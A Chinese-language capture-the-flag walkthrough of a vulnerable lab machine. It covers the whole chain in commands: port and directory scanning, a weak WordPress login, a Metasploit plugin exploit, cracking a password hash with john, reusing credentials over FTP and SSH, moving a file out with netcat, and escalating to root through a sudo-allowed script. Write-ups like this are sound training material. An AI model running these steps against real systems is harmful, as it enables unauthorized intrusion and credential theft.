IP扫描
端口扫描
nmap -p- -A 192.168.111.140
目录扫描
dirsearch -u http://192.168.111.140
先访问页面,查看网页源代码,获得第一个flag,并获得提示,在hosts配置DNS。(没看到怎么配置,先放着)
view-source:http://192.168.111.140/
<--flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166) -->
访问刚才扫描的目录,拼接robots.txt,但是下面两个目录并没有啥可用的信息
拼接/php/phpmyadmin/ 一个mysql管理界面,不知道版本,只能口令爆破一下,用了root root’ or 1=1#常见的账号密码都不行,就暂时放一下
没什么发现了,用dirb扫描一下目录
dirb http://192.168.111.140
拼接一下/weblog/,发现跳转到了一下域名
访问一下目录扫描的/weblog/wp-admin/,发现一个登录界面
尝试弱口令admin:admin成功登陆,发现使用了WordPress 6.6.1管理系统
getshell
使用msfconsole
漏洞利用
search Slideshow
use 1
set rhosts 192.168.254.139
set WP_PASSWORD admin
set WP_USER admin
run
利用Python获取交换时shell;
python -c 'import pty; pty.spawn("/bin/bash")'
提权
在网站目录下找到了wp-config配置文件,获取到了数据的账号密码;
cd ..
ls
前面发现过一个mysql的管理界面,通过mysql账号密码登陆去看看,在wp_posts表发现了第二个flag
在wp_users表中发现另一个用户unclestinky和hash加密过后的密码
使用kali自带的john破解一下明文,先将密码存储到文件中,使用john命令尝试破解
echo '$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41' >> 1.hash
john 1.hash --wordlist=rockyou.txt
成功得到密码:wedgie57 。使用unclestinky/wedgie57进行登录;此时发现账户已经是管理员权限,并找到了flag2;尝试ssh连接,被拒绝
在home目录下发现存在其他两个账户
尝试使用现有的密码登录ftp,发现使用stinky/wedgie57登录成功
在ssh目录下找了key文件(目录隐藏的比较深),通过ftp下载key.txt文件到本地;
cd /files/ssh/ssh/ssh/ssh/ssh/ssh/ssh
lcd /root/
get key.txt
这里先利用获取的meterpreter会话结合上一步获取的ftp账户密码尝试切换到stinky用户;
su stinky
wedgie57
利用ssh指定密钥登录
chmod 400 key.txt
ssh -i key.txt stinky@192.168.111.140
成功获取到第三个flag文件
利用nc传输文件:
目标机器:nc -nv 192.168.111.147 4444 < derpissues.pcap
kali: nc -lvvp 4444 > derpissues.pcap
在pcap包中获取到了账户mrderp/derpderpderpderpderpderpderp;
打开 Wireshark 并加载 pcap 文件:
启动 Wireshark 应用程序。
在 Wireshark 的菜单栏中,选择 “File”(文件)选项。
在下拉菜单中,选择 “Open”(打开)选项。
在弹出的文件选择窗口中,浏览到 derpissues.pcap 文件所在的目录,并选择该文件。
点击 “Open”(打开)按钮。
使用账户mrderp/derpderpderpderpderpderpderp登录成功,在桌面上查看到了一份日志文件helpdesk.log,内容如下:
提示我们访问mrderp ALL=(ALL) /home/mrderp/binaries/derpy* - Pastebin.com网站
提示可以在靶机下运行derpy文件,但是实际上靶机上不存在该目录和文件,这里我们创建个相同目录,然后创建文件,随意写入代码;
1、mkdir -p binaries
2、touch derpy.sh
3、写入文件
#!/bin/bash
/bin/bash
提权成功
chmod 777 derpy.sh
sudo ./derpy.sh